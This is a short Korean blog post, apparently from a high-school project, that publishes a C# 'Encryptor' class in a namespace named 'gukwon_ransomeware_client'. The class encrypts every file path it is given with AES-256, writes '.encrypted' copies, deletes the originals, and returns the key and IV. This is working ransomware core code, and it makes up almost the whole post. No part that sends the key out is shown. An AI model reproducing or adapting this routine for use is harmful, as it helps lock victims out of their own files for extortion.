[국원고 프로젝트] Encryptor Class

Benedictus Park·2022년 12월 15일
0
post-thumbnail

using System.IO;
using System.Security.Cryptography;

namespace gukwon_ransomeware_client
{
    public class Encryptor
    {
        public struct KeySet
        {
            public byte[] Key;
            public byte[] IV;
        }

        private RijndaelManaged aes;
        public KeySet keySet;

        public Encryptor()
        {
            aes = new RijndaelManaged();

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.GenerateKey();
            aes.GenerateIV();
        }

        public KeySet EncryptFiles(string[] pathes)
        {
            int count;
            int blockSizeBytes = aes.BlockSize / 8;
            byte[] data = new byte[blockSizeBytes];
            KeySet keySet;
            FileStream inFs;
            FileStream outFs;
            CryptoStream cryptoStream;
            
            for (int i = 0; i < pathes.Length; i++)
            {
                if (File.Exists(pathes[i]))
                {
                    inFs = new FileStream(pathes[i], FileMode.Open);
                    outFs = new FileStream(pathes[i] + ".encrypted", FileMode.Create);
                    cryptoStream = new CryptoStream(outFs, aes.CreateEncryptor(), CryptoStreamMode.Write);

                    do
                    {
                        count = inFs.Read(data, 0, blockSizeBytes);
                        cryptoStream.Write(data, 0, count);
                    }
                    while (count > 0);

                    inFs.Close();

                    cryptoStream.FlushFinalBlock();
                    cryptoStream.Close();

                    outFs.Close();

                    File.Delete(pathes[i]);
                }
            }

            keySet.Key = aes.Key;
            keySet.IV = aes.IV;

            return keySet;
        }
    }
}
  • 파일 경로를 인자로 받아 해당 경로의 파일을 AES 방식으로 암호화하는 메서드를 가진 클래스이다.

0개의 댓글